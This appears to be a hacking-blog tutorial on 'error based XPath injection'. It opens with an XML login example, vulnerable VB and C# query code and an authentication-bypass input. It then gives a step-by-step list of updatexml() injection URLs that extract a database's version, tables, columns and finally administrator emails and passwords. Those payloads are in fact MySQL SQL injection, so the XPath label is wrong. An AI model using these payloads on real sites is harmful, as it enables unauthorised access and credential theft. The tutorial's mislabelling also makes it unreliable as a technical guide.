Breaking News
Loading...

Error Based Xpath Injection Tutorial

01:46
xpath injection








Similar to SQL Injection, XPath Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured, or access data that he may not normally have access to. He may even be able to elevate his privileges on the web site if the XML data is being used for authentication (such as an XML based user file).
Querying XML is done with XPath, a type of simple descriptive statement that allows the XML query to locate a piece of information. Like SQL, you can specify certain attributes to find, and patterns to match. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return the wrong data.
XPath is a standard language; its notation/syntax is always implementation independent, which means the attack may be automated. There are no different dialects as it takes place in requests to the SQL databeses.
Because there is no level access control it's possible to get the entire document. We won't encounter any limitations as we may know from SQL injection attacks.


Example Vulnerability

We'll use this XML snippet for the examples.
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>SoSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>NotTelling</Password>
<Type>User</Type>
</Employee>
</Employees>
Suppose we have a user authentication system on a web page that used a data file of this sort to login users. Once a username and password have been supplied the software might use XPath to look up the user:
VB:
Dim FindUserXPath as String
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
Password/text()='" & Request("Password") & "']"
C#:
String FindUserXPath;
FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And
Password/text()='" + Request("Password") + "']";
With a normal username and password this XPath would work, but an attacker may send a bad username and password and get an XML node selected without knowing the username or password, like this:
Username: blah' or 1=1 or 'a'='a
Password: blah
FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or
'a'='a' And Password/text()='blah']
Logically this is equivalent to:
//Employee[(UserName/text()='blah' or 1=1) or
('a'='a' And Password/text()='blah')]

Techniques And  Queries Of Xpath Injection

www.vuln-web.com/index.php?view=-35" and updatexml(null,concat(0x3a,(
OUR QUERY HERE)),null)--


How Xpath InjecTion Works Watch This Video



Queries !!! :p



  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml
  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,version()),null)--+
  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,user()),null)--+
  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,database()),null)--+
  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit%200,1)),null)--+

  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit%201,1)),null)--+

  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit%202,1)),null)--+
  • Just increase the limit one by one to get the tables 

  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+column_name+from+information_schema.columns+where+table_name=%27administrator%27+limit%200,1)),null)--+

  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+column_name+from+information_schema.columns+where+table_name=%27administrator%27+limit%201,1)),null)--+

  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+column_name+from+information_schema.columns+where+table_name=%27administrator%27+limit%202,1)),null)--+
  • Increase the limit one by one to get the columns from administrator table

  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+admin_email+from+administrator)),null)--+

  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+admin_password+from+administrator)),null)--+
  • http://vlunrerable site/home.php?selected_blog_id=18+and+updatexml(null,concat(0x3a,(select+admin_password+from+administrator)),null)--+

Watch on Playit .pk


0 comments:

Post a Comment

 
Toggle Footer